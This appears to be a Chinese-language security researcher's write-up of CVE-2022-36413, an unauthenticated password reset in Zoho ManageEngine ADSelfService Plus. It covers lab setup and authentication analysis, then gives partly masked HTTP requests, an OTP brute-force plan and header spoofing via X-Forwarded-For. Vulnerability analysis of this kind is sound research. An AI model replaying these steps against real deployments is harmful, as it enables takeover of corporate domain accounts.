CVE-2022-36413 Unauthorized Reset Password of Zoho ManageEngine ADSelfService Plus

一、组件概述

1.关键词

AD、云应用、单点登录

2.概述

ZOHO ManageEngine ADSelfService Plus是美国卓豪(ZOHO)公司的针对 Active Directory 和云应用程序的集成式自助密码管理和单点登录解决方案。允许最终用户执行密码重置,帐户解锁和配置文件信息更新等任务,而不依赖于帮助台。ADSelfService Plus提供密码自助重置/解锁,密码到期提醒,自助服务目录更新程序,多平台密码同步器以及云应用程序的单点登录。

3.使用范围及行业分布

大中小型企业,内部使用windows域管理

二、环境搭建、动态调试

1.环境搭建

各版本下载地址,下载exe一键安装即可

https://archives.manageengine.com/self-service-password

安装后默认用户密码admin、admin,访问8888 端口

2.动态调试

修改conf/wrapper.conf 文件,添加JDWP调试参数

成功debug

组件web服务由Tomcat启动,Tomcat版本xxx,启动脚本为bin/runAsAdmin.bat,主配置文件\conf\wrapper.conf,配置了各项启动参数,最终完全启动参数如下

"..\jre\bin\java" -Dcatalina.home=.. -Dserver.home=.. -Xdebug -Xnoagent -Xrunjdwp:transport=dt_socket,address=10010,server=y,suspend=n -Duser.home=../logs -Dlog.dir=../logs -Ddb.home=../pgsql -Dcheck.tomcatport="true" -Dproduct.home=.. -DHTTP_PORT=8888 -DSSL_PORT=9251 -Dfile.encoding=UTF-8 -Djava.io.tmpdir=../temp -XX:OnOutOfMemoryError="SetMaxMemory.bat" -Dhaltjvm.on.dbcrash="true" -Dorg.apache.catalina.SESSION_COOKIE_NAME=JSESSIONIDADSSP -Dhttps.protocols=TLSv1,TLSv1.1,TLSv1.2 -XX:-CreateMinidumpOnCrash -Dmail.smtp.timeout=30000 -Dorg.apache.catalina.authenticator.Constants.SSO_SESSION_COOKIE_NAME=JSESSIONIDADSSPSSO -Xms50m -Xmx256m -Djava.library.path="../lib/native;../jre/lib" -classpath "略" -Dwrapper.key="PIskDhkG89EFqv0f0ijb69bgHwHC9ybE" -Dwrapper.port=32000 -Dwrapper.jvm.port.min=31000 -Dwrapper.jvm.port.max=31999 -Dwrapper.pid=2884 -Dwrapper.version="3.5.35-pro" -Dwrapper.native_library="wrapper" -Dwrapper.arch="x86" -Dwrapper.cpu.timeout="10" -Dwrapper.jvmid=1 -Dwrapper.lang.domain="wrapper" -Dwrapper.lang.folder="../lang" org.tanukisoftware.wrapper.WrapperSimpleApp com.adventnet.start.ProductTrayIcon conf/TrayIconInfo.xml StartADSM

启动入口方法为com.adventnet.start.ProductTrayIcon#main,启动过程这里不展开详细分析

路由

入手点为web.xml ,梳理后,可以将路由做大致如下分类

/RestAPI/ => org.apache.struts.action.ActionServlet

/api/json/ => com.manageengine.ads.fw.api.JSONAPIServlet

/ServletAPI/* /RestAPI/WC/Clustering/* /RestAPI/Clustering/* /m/mLoginAction

/m/mSelfService /m/mMFA => com.manageengine.ads.fw.common.api.ServletAPI

以及在web.xml 中单独配置的一些sevlet

身份校验

这里针对此漏洞着重对RestAPI展开分析

web.xml 中对/RestAPI/WC/* 路由做了身份校验,其它路由未进行配置。

关于RestAPI相关的校验在ADSFilter 全局filter中做了操作,判断了是否为RestAPI接口,如果是,将进入com.manageengine.ads.fw.api.RestAPIFilter#doAction,进入不同的校验逻辑。

这里的身份校验,

RestAPI的重点校验逻辑在RestAPIFilter中,而更加具体的校验存在数据库中

select * from ADSProductAPIs

大概分为这几类:需要session,需要HANDSHAKE_KEY,无需身份校验。

其它安全机制

security.xml

这里列出了每个API的参数(类型,长度,正则),请求方法,是否需要csrf等

四、CVE-2022-36413

Zoho ManageEngine ADSelfService Plus支持第三方登录方式,前提条件需要后台配置身份校验数据库

http://192.168.33.33:8888/webclient/index.html?#/configuration/selfservice/idm-applications

身份验证绕过部分也还是利用了RestSAPI,我们知道RestAPI的身份校验逻辑是ADSFilter 全局filter中做了操作,判断了是否为RestAPI接口,如果是,将进入

com.manageengine.ads.fw.api.RestAPIFilter#doAction做具体的权限验证,

这里判断接口是否需要权限认证存储在PostgreSQL中,

select * from ADSProductAPIs

很幸运的,我们找到了三个未授权接口来完成这个任意密码重置

Step 1:PM_INITIAILIZE_AGENT

POST /RestAPI/PMAgent/****** HTTP/1.1
Host: 192.168.33.133:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0
Time:1656925239
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://192.168.33.133:8888/webclient/index.html?
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 195
 
something

这里的一些参数需要特殊构造,首先是时间戳,这个比较好解决

然后是machineName,如果在当前域,容易得到 PS:无需登录即可获取域名

opt参数,这个参数是一个六位数字,容易暴力破解,此参数校验逻辑如下com.manageengine.adssp.server.api.authorization.PasswordSyncAgentAPIAuthorizer#verifyAgent if ((new Date()).getTime() / 1000L - requsetTime < 300L && requsetTime - (new Date()).getTime() / 1000L < 300L)

我们有五分钟的时间来使用爆破

com.adventnet.iam.security.DoSController#controlDoS防御暴力破解是在这里完成的,

时间戳不变,每个ip地址可以发送1000个请求 100000/1000 = 100

综上所述,我们可以在可接受的时间内获取otp参数,而且使用像亚马逊或谷歌这样的云服务提供商,那实际上很容易。执行一百万个代码的完整攻击将花费大约 150 美元

这里展示了真实攻击的案例:https://thezerohack.com/hack-any-instagram

成功获取加密码加解密key

Step 2:PM_PASSWORD_SYNC

POST /RestAPI/PMAgent/****** HTTP/1.1
Host: 192.168.33.33:8888
Time:1657012207
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/2010101 Firefox/101.0
Accept: application/json, text/javascript, */*; q=0.01
REMOTE_USER_IP:127.0.0.1
ZSEC_PROXY_SERVER_NAME:aaa
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
X-Forwarded-For:127.0.0.1
Referer: http://192.168.33.33:8888/webclient/index.html?
Content-Type: application/x-www-form-urlencoded
Content-Length: 300
 
otp=294608&operation=passwordSync&username=254,147,58,204,126,202,25,240,150,20,124,148,236,167,85,25,16&machineName=TEST-DC-01.test.com&password=254,147,58,204,126,202,25,240,150,20,124,148,236,167,85,25,16&time=165512621862411&PRODUCT_NAME=nnn&domainName=test.com&machineFQDName=TEST-DC-01.test.com

重置用户名和密码,我们可以通过PM_INITIALIZE_AGENT操作,但是用户名密码需要加密下

程序通过动态加载动态链接库实现的AES加密,解密需要做一些处理,通过分析ManageEngineADSFramework.dll,本地构造出加密后的用户名密码

成功修改用户名密码

五、参考链接

https://www.manageengine.com/products/self-service-password/advisory/CVE-2022-36413.html